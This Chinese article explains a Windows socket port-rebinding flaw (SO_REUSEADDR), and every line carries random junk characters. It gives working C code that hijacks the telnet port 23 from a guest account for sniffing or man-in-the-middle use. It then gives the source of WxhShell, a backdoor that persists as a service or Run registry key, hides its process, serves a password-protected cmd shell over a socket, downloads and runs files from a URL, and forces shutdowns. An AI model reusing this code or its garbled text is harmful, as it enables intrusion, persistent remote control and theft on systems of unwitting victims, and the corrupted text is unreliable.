在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
D."=k{r. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
S_b/DO NmpnJu|8 saddr.sin_family = AF_INET;
632bN=> X%}nFgqQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t
Rm+? 3^,QIG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5M F#&v Z9K})47T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+v7) 1y s{}]D{bc 这意味着什么?意味着可以进行如下的攻击:
S,jZ3^ fjG&`m#" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&7>zURv /7"I#U^u/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F<|t\KOW 7DD&~ZcD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*O~e
T -ijC_`> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
%, P>%'0 cU.9}-) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
vB'>[jvA| aZS7sV28 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|nUl\WRd\ ";SiL{Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7[pBUDA 9=`W p6Gmn #include
M@et6aud;K #include
fyknP)21I #include
5GzFoy)j> #include
nh+l78 DWORD WINAPI ClientThread(LPVOID lpParam);
D{8PQ2x> int main()
\M<3}t {
b97w^ah4gJ WORD wVersionRequested;
]=pR DWORD ret;
KqY["5p WSADATA wsaData;
\3f&7wU BOOL val;
=FP0\cQ. SOCKADDR_IN saddr;
FS6`6M.K SOCKADDR_IN scaddr;
ypOLp SYk int err;
j$7|XM6 SOCKET s;
O^Q7b7}y SOCKET sc;
`F YjQe"p int caddsize;
D\dWt1n HANDLE mt;
/D&%v*~E DWORD tid;
<EO$]>;0 wVersionRequested = MAKEWORD( 2, 2 );
Yb3mP!3q8Z err = WSAStartup( wVersionRequested, &wsaData );
soA|wk\A if ( err != 0 ) {
`.jzuX printf("error!WSAStartup failed!\n");
8BOZh6BV return -1;
%
2$/JZ }
Mips.Bx saddr.sin_family = AF_INET;
i<kD R0ID2:i]F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
U4f5xUY0) }D411228 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
x+ncc_2n&D saddr.sin_port = htons(23);
%,Sf1fUJ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d@`M
CchCB {
A1'hlAGF printf("error!socket failed!\n");
&qpr*17T return -1;
j`^$# }
AjcX N val = TRUE;
U*Ge<(v$ //SO_REUSEADDR选项就是可以实现端口重绑定的
k.("3R6v: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.+7;)K
{
ku$$ 1xq printf("error!setsockopt failed!\n");
@KX
\Er return -1;
JlMT<;7\ }
O5$/55PI //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"k]CW\H6z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3_~cMlr3T. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zi`b2h |
N0Z-| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_ZY)M {
u[nyW3MZ ret=GetLastError();
(WJ${OW printf("error!bind failed!\n");
pw7[y^[Qg return -1;
H*#s
}9=kZ }
PV|uPuz listen(s,2);
kOIt(e while(1)
:ba5iMa {
me[DmiM, caddsize = sizeof(scaddr);
J7r|atSk //接受连接请求
D8
hr?:I9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T&Lb<'f if(sc!=INVALID_SOCKET)
9Xx's%U {
v) vkn/: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
TMYd47 if(mt==NULL)
`rf_7 {
xg)v0y~ printf("Thread Creat Failed!\n");
} CeCc0M break;
@|Rrf*J?% }
M5xCC! }
5 ~TdD6} CloseHandle(mt);
um9_ru~ }
sQMFpIrr closesocket(s);
v{}#?=I5 WSACleanup();
cJ54s} return 0;
]c! ;L5 }
Yo[;W
vu DWORD WINAPI ClientThread(LPVOID lpParam)
=$]uoA {
w8n|B?Sr SOCKET ss = (SOCKET)lpParam;
cReB~wk SOCKET sc;
{mAU3x unsigned char buf[4096];
1Tu
*79A SOCKADDR_IN saddr;
o865(<p long num;
\Ym5<];E DWORD val;
H,b5C_D29 DWORD ret;
j?MAED //如果是隐藏端口应用的话,可以在此处加一些判断
}Hn/I,/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~R(%D-k saddr.sin_family = AF_INET;
l5"OIq saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
TA{\PKA) saddr.sin_port = htons(23);
u,&^&0K, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WL'P)lI5 {
)kP5u`v printf("error!socket failed!\n");
ra
o[VZ return -1;
p\bDY }
KN* val = 100;
SLh(9%S; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X-wf:h?i {
a[ex[TRKe ret = GetLastError();
}I
:OsAw return -1;
92 [;Y }
@7B$Yy# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|9B.mBoX {
Sv +IS ret = GetLastError();
dxmE3*b` return -1;
ll C#1 }
uXKERzg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(2=Zm@Zpf {
IP(Vr7-v printf("error!socket connect failed!\n");
Xwhui4'w closesocket(sc);
BW"5Aj closesocket(ss);
u,UmrR return -1;
sJDas,7> }
|>#{[wko while(1)
^_f+15]D {
LbkF
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
CY"/uSB //如果是嗅探内容的话,可以再此处进行内容分析和记录
JhLgCnm //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
s{$(*_ num = recv(ss,buf,4096,0);
=17t-
[ if(num>0)
sIxTG y. send(sc,buf,num,0);
+1D+]*t_?[ else if(num==0)
iB498t break;
M#8uv-L num = recv(sc,buf,4096,0);
`tn{ei if(num>0)
m8o(J\] send(ss,buf,num,0);
[Lzw#XE else if(num==0)
smnSDS break;
m_)FC-/pSl }
{$wjO7Glp closesocket(ss);
[Ki0b^ closesocket(sc);
&MCbYph, return 0 ;
sL\L"rQN6 }
z&fwE$Nm LRNh@g4ei LL3#5AA"k| ==========================================================
y$_eCmq lw<c2C 下边附上一个代码,,WXhSHELL
IyWI5Q"t 7*?}: ==========================================================
9T*v9d rv|)n>m #include "stdafx.h"
TZY3tUx0|G [m|YWT= #include <stdio.h>
PEc=\? #include <string.h>
/!3@]xz* #include <windows.h>
lLF-{ #include <winsock2.h>
R
wZ]),o #include <winsvc.h>
7eV
di* #include <urlmon.h>
.8by"?** T-U}QM_e #pragma comment (lib, "Ws2_32.lib")
@
<
Q|5 #pragma comment (lib, "urlmon.lib")
2(#7[mgPI "-vW,7y #define MAX_USER 100 // 最大客户端连接数
]hFW73FV #define BUF_SOCK 200 // sock buffer
UOxkO #define KEY_BUFF 255 // 输入 buffer
tF{D= ;G E.Jkf\ #define REBOOT 0 // 重启
~wkj&yVT #define SHUTDOWN 1 // 关机
AMyIAZnYq) V 7Ek-2M #define DEF_PORT 5000 // 监听端口
=5(>q5Z* mqSQL}vR #define REG_LEN 16 // 注册表键长度
'|Kmq5) #define SVC_LEN 80 // NT服务名长度
d~JKH&x< Vnr[}<L // 从dll定义API
c+hQSm|bf) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
jhb6T ?} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N<IT w/@^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3%%o?8ES typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2kIa*#VOJ VCD:3U 8
// wxhshell配置信息
,v';>.] struct WSCFG {
{;:/-0s int ws_port; // 监听端口
;;:-l99 char ws_passstr[REG_LEN]; // 口令
,I%g|'2 int ws_autoins; // 安装标记, 1=yes 0=no
!g(KK|`,m char ws_regname[REG_LEN]; // 注册表键名
P8*=Ls+-F char ws_svcname[REG_LEN]; // 服务名
>JC char ws_svcdisp[SVC_LEN]; // 服务显示名
-\
EP.Vtz char ws_svcdesc[SVC_LEN]; // 服务描述信息
'>' wK. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!3 f?:M int ws_downexe; // 下载执行标记, 1=yes 0=no
OslL~< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>U]C/P[+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ecCr6) #nK>Z[ };
/7t>TYip! eFL=G% // default Wxhshell configuration
^7 &5
z&o struct WSCFG wscfg={DEF_PORT,
~s]iy9i "xuhuanlingzhe",
[`c^4E 1,
MBhWMCN2 "Wxhshell",
N#DYJ-~* "Wxhshell",
"F.;Dv9V[0 "WxhShell Service",
ZRg;/sX] "Wrsky Windows CmdShell Service",
ak |WW]R "Please Input Your Password: ",
9&` 2V 1,
Z^IPZF "
http://www.wrsky.com/wxhshell.exe",
1M
781 "Wxhshell.exe"
t-0a7
1#e };
7[5.> h \V*xWS // 消息定义模块
V&\[)D'c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\3S8 62B7 char *msg_ws_prompt="\n\r? for help\n\r#>";
aM:nOt" S1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}#Qc \eud char *msg_ws_ext="\n\rExit.";
.[JYj(p char *msg_ws_end="\n\rQuit.";
ZfgJ.<< char *msg_ws_boot="\n\rReboot...";
viMzR(JU char *msg_ws_poff="\n\rShutdown...";
p~,]*y:XT char *msg_ws_down="\n\rSave to ";
>w^YO25q B9H@e#[ char *msg_ws_err="\n\rErr!";
%+K<<iyR| char *msg_ws_ok="\n\rOK!";
86mp=6@ nY`RRC char ExeFile[MAX_PATH];
w$`5g int nUser = 0;
*Ie7{EhJ' HANDLE handles[MAX_USER];
~ y;6W0x int OsIsNt;
}C>{uXv 7El[ > SERVICE_STATUS serviceStatus;
x"{'&J[hx SERVICE_STATUS_HANDLE hServiceStatusHandle;
nC}6B).el ykX/9y+-s // 函数声明
66I"=: int Install(void);
P}TI
q# int Uninstall(void);
:C65-[PSdO int DownloadFile(char *sURL, SOCKET wsh);
yz LpK; int Boot(int flag);
j"|=C$Kn/ void HideProc(void);
9J>&29@us0 int GetOsVer(void);
D6Goa(!9d int Wxhshell(SOCKET wsl);
a8i]]1Blz void TalkWithClient(void *cs);
'toa@5 int CmdShell(SOCKET sock);
P5#r,:zL int StartFromService(void);
(v}>tb*#` int StartWxhshell(LPSTR lpCmdLine);
>ey\jDr#O Z]j*9#G1s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
lobGj8uxq VOID WINAPI NTServiceHandler( DWORD fdwControl );
q&/Yg,p\ N%"Y // 数据结构和表定义
%y|)=cm[ SERVICE_TABLE_ENTRY DispatchTable[] =
ae0>
W {
S<WdZ=8sA {wscfg.ws_svcname, NTServiceMain},
I]Dl / {NULL, NULL}
r]l!WRn };
#&m0WI1 CO2C{~Q5 // 自我安装
'iGzkf}j int Install(void)
5KDGSo {
3plzHz ,x char svExeFile[MAX_PATH];
u\LFlX0sO HKEY key;
zSSB>D strcpy(svExeFile,ExeFile);
T:IW%?M D!.+Y-+Xzu // 如果是win9x系统,修改注册表设为自启动
\yd
s5g!: if(!OsIsNt) {
ld^=#]g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+AHUp) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DVK)2La RegCloseKey(key);
hlJq-*6' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kIGbG;"_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Bnb#{tL RegCloseKey(key);
8&Oa_{1+Q return 0;
0qo)."V{ }
8 XICF }
xZQg'IT }
*+\SyO else {
H]$)Eg%6 F6K4#t+9 // 如果是NT以上系统,安装为系统服务
+> WM[o^I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
05spovO/' if (schSCManager!=0)
r4QxoaM {
3q'&j,,^ SC_HANDLE schService = CreateService
ooV3gj4 (
;Wl+zw schSCManager,
~-dV^SO wscfg.ws_svcname,
RgGyoZ wscfg.ws_svcdisp,
9(L)&S{4K SERVICE_ALL_ACCESS,
wAz&"rS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:sP!p`dl SERVICE_AUTO_START,
sL@U SERVICE_ERROR_NORMAL,
Ma\Gb+> svExeFile,
`"@g8PWe NULL,
_^'I NULL,
:OkT? (i NULL,
DZv=\<$,LF NULL,
Qed.4R:o NULL
G
<uyin> );
*0}3t<5 if (schService!=0)
-CR?<A4mud {
XO9M_*Va CloseServiceHandle(schService);
0q*r CloseServiceHandle(schSCManager);
PZm:T+5H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
J%jB?2
1:o strcat(svExeFile,wscfg.ws_svcname);
d5>H3D{49 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(lGaPMEU} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\oEo~ RegCloseKey(key);
p<&Xd}]"^W return 0;
UTSL }
E!Zx#XP1
}
C-?%uF CloseServiceHandle(schSCManager);
vNeCpf }
sU"}-de }
M#4QQ} F. 8NU`^L:1 return 1;
!bD@aVf?5 }
RC^9HuR& wBInq~K_ // 自我卸载
oP2fX_v1x int Uninstall(void)
.iQT5c {
yR~R: HKEY key;
d7&eLLx cDoo* if(!OsIsNt) {
`g_"GE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#k$)i[aI-
RegDeleteValue(key,wscfg.ws_regname);
AWjm~D-? RegCloseKey(key);
6SC,;p= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-@F fU2 RegDeleteValue(key,wscfg.ws_regname);
3-%Cw2ds RegCloseKey(key);
{0@&OO:w return 0;
ooj~&fu }
enTW0U} }
g'l?~s`SB }
zi'Jr)n else {
{i*2R^5 Qe'g3z> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
D-U<u@A4 if (schSCManager!=0)
"0EA;S8$8 {
<X_!x_x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
LrCk*@ if (schService!=0)
IhiGP
{ {
;&b%Se@#p if(DeleteService(schService)!=0) {
M('d-Q{B7L CloseServiceHandle(schService);
XYH|;P6K CloseServiceHandle(schSCManager);
#n return 0;
&W6^6=E{g }
=9G;PVk| CloseServiceHandle(schService);
0fs$#j }
I<=Df5M CloseServiceHandle(schSCManager);
UzKFf&-:;K }
_ OaRY] }
[Qdq}FYr #Rew [\$ return 1;
kL S(w??T }
<8#ObdY! jAND7&W // 从指定url下载文件
ue8qIZH int DownloadFile(char *sURL, SOCKET wsh)
S*"u/b; {
2uk x (Z
HRESULT hr;
n(lk
dw char seps[]= "/";
p8+/\Ee]B char *token;
~SjZk| char *file;
=ZsGT char myURL[MAX_PATH];
N8!TZ~1$ char myFILE[MAX_PATH];
]]cYLaq( 0+b0< strcpy(myURL,sURL);
s(&;q4| token=strtok(myURL,seps);
P|^$kK while(token!=NULL)
fj4^VXD {
n~Szf file=token;
ACjf\4Q token=strtok(NULL,seps);
GIv){[i }
K`nJVc nSY-?&l6P GetCurrentDirectory(MAX_PATH,myFILE);
~E=\t9r strcat(myFILE, "\\");
kA7(CqUW strcat(myFILE, file);
mYNEz
@ send(wsh,myFILE,strlen(myFILE),0);
(Btv ClZ send(wsh,"...",3,0);
y~F<9;$= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^GYq#q9Q if(hr==S_OK)
TK>{qxt:= return 0;
u8OxD else
aEx(rLd+ return 1;
idJh^YD EX?h0Uy }
~2/{3m{3 A ~F#A
Pt // 系统电源模块
OCHm; int Boot(int flag)
wH!#aB>kP {
bj"z8 kP HANDLE hToken;
m1.B\~S3 TOKEN_PRIVILEGES tkp;
.yVnw^gu 2W3W/> 2h if(OsIsNt) {
dALK0U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4VIg>EL* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
b
Dg9P^<n tkp.PrivilegeCount = 1;
gKL1c{BV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[xpQH? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
M^H90GN)X if(flag==REBOOT) {
3:|-#F*k{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]@SU4 return 0;
]0D9N" }
u fw cF* else {
W3LP
~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
D{AFL.r{ return 0;
'@:[axu }
{rPk3 }
d.pp3D9/ else {
Q
@2(aR if(flag==REBOOT) {
:HW>9nD. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
WF/l7u#4i return 0;
kUHie }
;aK.%-s-Z else {
W@B7yP7Rz if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\>)f5 gV@ return 0;
KtMbze }
6.Bh3p }
@8"18HEp# a{`"68 return 1;
s#lto0b"8 }
tF`MT%{Va m.V,I}J.q // win9x进程隐藏模块
a{_ KSg void HideProc(void)
O|UxFnB} {
8U^D(jrz +{6`F1MO HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ek[kq[U9 if ( hKernel != NULL )
Igjr~@# {
Ky&KF0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uu>lDvR* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(/fT]6( FreeLibrary(hKernel);
)C}KR`" }
lcig7% e}Q>\t45 return;
vOgLEN&] }
j@C0af UE)fUTS // 获取操作系统版本
99KVtgPm int GetOsVer(void)
[EGx {
l<2oklo5 OSVERSIONINFO winfo;
aFG3tuaKrQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$WNG07]tU GetVersionEx(&winfo);
m;h<"]< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
|yAK@Hl' return 1;
9-G b"hr else
aQmfrx return 0;
u&SZlkf6% }
j m>U6 E{gv,cUM // 客户端句柄模块
ou;qO
5CT int Wxhshell(SOCKET wsl)
Uk02IOXQ {
/:Y9sz uW` SOCKET wsh;
fN0bIE
Y struct sockaddr_in client;
BVAr&cu DWORD myID;
RH=$h! 5 VV\Xb31J while(nUser<MAX_USER)
!2tw, QM {
e;;):\p4 int nSize=sizeof(client);
yId;\o B wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
y.fs,!|%@ if(wsh==INVALID_SOCKET) return 1;
&9@gm--b: K6(.KEW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
qwP $~Bj if(handles[nUser]==0)
&>V/X{>$`K closesocket(wsh);
2C{/`N else
(0g7-Ci nUser++;
F8 ?uQP8 }
n7+aM@G WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A:c]1 ixzTJ]y u return 0;
;ct)H*
y }
QmHwn)Ly
7&px+155 // 关闭 socket
Q!x`M4 void CloseIt(SOCKET wsh)
tO4):i1 {
T\cR2ZT~ closesocket(wsh);
j Ii[ nUser--;
vu ?3$ ExitThread(0);
U,38qKE }
a6qwL4 .}~$1QKS // 客户端请求句柄
oc((Yo+B void TalkWithClient(void *cs)
WCoF{* {
HNFhH0+^ 2x6<8J8v* SOCKET wsh=(SOCKET)cs;
Lxz char pwd[SVC_LEN];
:4iU^6 char cmd[KEY_BUFF];
Hy;901( % char chr[1];
-HN%B?}. x int i,j;
'5V^}/ w`0)x5
TGR while (nUser < MAX_USER) {
]DU61Z"v?b S{ey@X( if(wscfg.ws_passstr) {
:Dt\:`(r' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RZe#|k+
8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HrDTn&/ //ZeroMemory(pwd,KEY_BUFF);
.
Jb?]n i=0;
2pjW,I!` while(i<SVC_LEN) {
33,;iE LjC6?a_?l // 设置超时
n3*UgNg%fK fd_set FdRead;
;n`
$+g:> struct timeval TimeOut;
pY,O_
t$ FD_ZERO(&FdRead);
?-d
Ain1w FD_SET(wsh,&FdRead);
cP,;Qbe TimeOut.tv_sec=8;
PlF!cr7:4 TimeOut.tv_usec=0;
ZXh~79 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
A<2I! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
R|$[U xHm/^C&px if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@Mzz2&(dU pwd
=chr[0]; ^J0zXe -d
if(chr[0]==0xd || chr[0]==0xa) { l`G(O$ct
pwd=0; =p5?+3"@
break; rQn{L{
} "NJ,0A
i++; G{/; AK
} pK<%<dIc
,;7`{Nab
// 如果是非法用户,关闭 socket E3LBPXK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r7RU"H:j8
} Z6NJ)XQy6F
K q/~T7Ru
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uld_X\;Q4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9e-*JYF]C
u>81dO]H
while(1) { xJN |w\&
8g.AT@ ,Q
ZeroMemory(cmd,KEY_BUFF); UBL(N r
IvFR <n
// 自动支持客户端 telnet标准 //~POm
j=0; 9jqO/_7R+
while(j<KEY_BUFF) { 6aRGG+H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &3WkH W
cmd[j]=chr[0]; Mp^^!AP 9
if(chr[0]==0xa || chr[0]==0xd) { -g9^0V`G
cmd[j]=0; mMV2h|W
break; dFx2>6AZt
} ]NbX`'
j++; nG!&u1*
} KlY,NSlQ
g'KzdG`O0
// 下载文件 >'eB2
if(strstr(cmd,"http://")) { Z+r%_|kZ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); mVa?aWpez
if(DownloadFile(cmd,wsh)) _yiRh:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1% asx'^
else ;gEp!R8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YW'{|9KnI
} t'dHCp}
else { (D0C#<4P
7U&5^s
)J
switch(cmd[0]) { x(rd$oZO
aB=vu=hF
// 帮助 txj wZ_p
case '?': { o<Xc,mP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z Z@L4ZT
break; Y||yzJdC
} ,2RC |h^O,
// 安装
T"n>h
case 'i': { TNyK@~#m
if(Install()) f#'8"ff*1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |sA4:Aq
else UCe,2v%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c"sj)-_
break; P#w}3^
} r hiS
// 卸载 m$7x#8gF
case 'r': { rn5"o8|
if(Uninstall()) : :F!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$2l^
else kX@bv"i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K~`n}_:
break; jK\V|5k
} "}0)YRz%
// 显示 wxhshell 所在路径 +R2^*
*<
case 'p': { a];BW)
char svExeFile[MAX_PATH]; p.@0=)
strcpy(svExeFile,"\n\r"); uo]Hi^r.l
strcat(svExeFile,ExeFile); S9$o
send(wsh,svExeFile,strlen(svExeFile),0); jN31\)/i
break; =''mpIg(
} nu#aa#ex>
// 重启 <P+G7!KZ&
case 'b': { hZp=BM"bJ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8]sTX9
if(Boot(REBOOT)) `%FIgE^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }V\P,ck
else { di8W2cwz
closesocket(wsh); IUluJ.sXIf
ExitThread(0); \Pw8wayr%
} "V*kOb&'*Z
break; 8|w5QvCU?3
} ZmEG<T05
// 关机 aSn0o_4bD
case 'd': { "}S9`-Wd|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [54@i rH
if(Boot(SHUTDOWN)) IW5*9)N?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A6{t%k~F
else { Xy[4f=X}z
closesocket(wsh); Q
mb[ e>
ExitThread(0); Rf)'HT
} S1D9AcK
break; % MfGVx}nG
} 1bV 2
// 获取shell T
[T 6
case 's': { eNIkiJ$uS
CmdShell(wsh); BengRG[
closesocket(wsh); u3Zzu \{
ExitThread(0); EO4"Z@ji
break; o>xxmyW|
} |HaU3E*R
// 退出 aDm-X r
case 'x': { u~'m7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xaGVu0q
CloseIt(wsh); T^/Gj|N*
break; z1Bj_u{
} LL|_c4$Ky
// 离开 4q\.I+r^
case 'q': { qWRNHUd
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %00k1*$
closesocket(wsh); el <<D
WSACleanup(); fOqS|1rC
exit(1); L
LYHr
break; Ov$N"
} B6tcKh9d,
} Q3B'-BZe
} o~i]W.SI(
qPFG+~\c
// 提示信息 8CHb~m@^$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .nj?;).
} Rz<d%C;R
} A2g"=x[1@K
!A'`uf4u
return; zCK y`u.
} |1dEs,z\
g5kYyE
// shell模块句柄 OmT Z-*N
int CmdShell(SOCKET sock) w\"n!^ms
{ eh({K;>
STARTUPINFO si; R$!;J?SS
ZeroMemory(&si,sizeof(si)); ;4-pupK~%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m[g< K
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |QAeQWP+1
PROCESS_INFORMATION ProcessInfo; ,z?<7F1q=
char cmdline[]="cmd"; 2a._?(k_y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }S~ysQwT
return 0; 9#Aipu\
} aBqe+FXp4
s
T
:tFK\
// 自身启动模式 GL;x:2XA
int StartFromService(void) &;6|nl9;
{ |d/x~t=
typedef struct *j_fG$10g
{ 2FZ0c/[&
DWORD ExitStatus; Sy+]SeF&
DWORD PebBaseAddress; |xsV(jK8
DWORD AffinityMask; AiyvHt
DWORD BasePriority; f>\bUmk(
ULONG UniqueProcessId; Z ]7;u>2
ULONG InheritedFromUniqueProcessId; \U)2
Tg
} PROCESS_BASIC_INFORMATION; @yU!sE:
